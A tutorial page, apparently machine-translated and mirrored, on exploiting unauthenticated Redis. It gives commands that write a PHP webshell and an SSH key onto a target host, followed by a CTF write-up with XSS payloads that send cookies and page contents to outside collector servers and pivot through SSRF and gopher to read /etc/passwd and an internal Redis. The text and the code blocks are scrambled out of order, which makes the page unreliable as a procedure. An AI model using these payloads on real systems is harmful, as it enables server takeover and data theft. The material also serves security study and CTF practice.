> 데이터 베이스 > Redis > Redis 무단 액세스 소개

Redis 무단 액세스 소개

풀어 주다: 2020-05-14 09:24:06
앞으로
3167명이 탐색했습니다.

Redis 무단 액세스 소개

redis는 키-값 쌍으로 구성된 비관계형 데이터베이스입니다.

redis는 ANSI C 언어로 작성된 오픈소스 로그형 Key-Value 데이터베이스로, BSD 프로토콜을 준수하고, 네트워크를 지원하며, 메모리 기반 및 영속성이 가능하며, 다국어로 API를 제공합니다.

값은 문자열, 해시, 맵, 목록, 집합 및 정렬된 집합과 같은 유형이 될 수 있기 때문에 종종 데이터 구조 서버라고 합니다.

설치 서비스

win

다운로드 주소: https://github.com/MSOpenTech/redis/releases
테스트 환경:

운영 체제: win7
ip: 192.168.107.144

Redis 무단 액세스 소개

명령 라인 입력

redis-server.exe redis.conf
로그인 후 복사

Redis 무단 액세스 소개

포트를 확인하세요

Redis 무단 액세스 소개

6379 포트(redis 기본 포트)가 열렸습니다

redis가 성공적으로 시작되었습니다

ubuntu

설치

sudo apt-get update
sudo apt-get install redis-server
로그인 후 복사

시작 서비스

redis-server
로그인 후 복사

기본 명령

redis에 연결

redis-cli.exe -h 192.168.107.144
로그인 후 복사

redis-cli.exe -h 192.168.107.144 연결 키 값 보기

연결 성공

정보를 입력하면 관련 정보를 얻을 수 있습니다

redis를 볼 수 있습니다 버전 등

Redis 무단 액세스 소개

사용방법

Redis 무단 액세스 소개문장 쓰기 웹쉘

Ssh 공개 키 쓰기

Redis 무단 액세스 소개쉘 쓰기

  • redis 192.168.107.144:6379> get x
    "<?php phpinfo(); ?>"
    로그인 후 복사

    대상 컴퓨터에 성공적으로 쓰기

  • Ssh 공개 키 쓰기
로컬에서 키 쌍 생성

redis 192.168.107.144:6379> keys *
1) "x"
로그인 후 복사

그런 다음 ssh 공개 키를 대상 머신에 쓰고 Redis 무단 액세스 소개

redis 192.168.107.144:6379>flushall
로그인 후 복사

그런 다음 로컬에서 ssh에 연결

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save
로그인 후 복사

그런 다음

Redis 무단 액세스 소개

redis를 수행할 수 있습니다. CTF (XSS->SSRF&Gopher->Redis)

제목은

Redis 무단 액세스 소개

질문 주소: https://hackme.inndy.tw/scoreboard/

xeeme

Leaked

robots.txt에서 유출된 소스 코드 발견

Redis 무단 액세스 소개암호화된 config.php

xss 쿠키

등록 및 로그인 후 인터페이스

1Redis 무단 액세스 소개

인증 이메일 보내기

1Redis 무단 액세스 소개

그냥 쓰다 확인을 위한 스크립트

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa
로그인 후 복사
그런 다음 몇 가지를 필터링합니다

img 테스트를 사용하세요1Redis 무단 액세스 소개

onload도 필터링됩니다1Redis 무단 액세스 소개

여기서 필터링된 내용은 공백과 오류에 관한 것 같습니다. 공백이 있는 onerror는 일치할 때만 필터링되므로 공백 없이 onerror를 구성하고 Payload

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存
로그인 후 복사

그런 다음 쿠키를 치고 쿠키를 성공적으로 쳤습니다1Redis 무단 액세스 소개

Decode SESSIONRedis 무단 액세스 소개

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144
로그인 후 복사

xssrf 누출

Redis 무단 액세스 소개에 따르면 이전 질문의 쿠키 FLAG_2=IN_THE_REDIS

아직 환경이 똑같네요

관리자 쿠키로 받았으니 로그인

Redis 무단 액세스 소개

需要本地登陆,尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题,可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到,于是换了一个平台

利用payload

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Redis 무단 액세스 소개" >
로그인 후 복사

Redis 무단 액세스 소개

发现innerhtml被过滤

于是html编码

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Redis 무단 액세스 소개" >
로그인 후 복사

发现收到请求

Redis 무단 액세스 소개

解个码,放在本地

Redis 무단 액세스 소개

SSRF读取config.php

猜测send request功能存在ssrf

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://vps?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">
로그인 후 복사

vps收到请求

Redis 무단 액세스 소개

解码:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>
로그인 후 복사

post请求的url参数

尝试读文件

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">
로그인 후 복사

成功读到/etc/passwd

Redis 무단 액세스 소개

于是读之前的config.php

Redis 무단 액세스 소개

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合gopher

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">
로그인 후 복사

Redis 무단 액세스 소개

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");
로그인 후 복사

1Redis 무단 액세스 소개

去读

既然有flag键,那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");
로그인 후 복사

1Redis 무단 액세스 소개

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");
로그인 후 복사

1Redis 무단 액세스 소개

是list,返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");
로그인 후 복사

1Redis 무단 액세스 소개

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");
로그인 후 복사

1Redis 무단 액세스 소개

于是写个脚本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)
로그인 후 복사

最后flag FLAG{Redis without authentication is easy to exploit}

原文地址:https://xz.aliyun.com/t/4051

更多redis知识请关注redis入门教程栏目。

위 내용은 Redis 무단 액세스 소개의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:先知社区
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿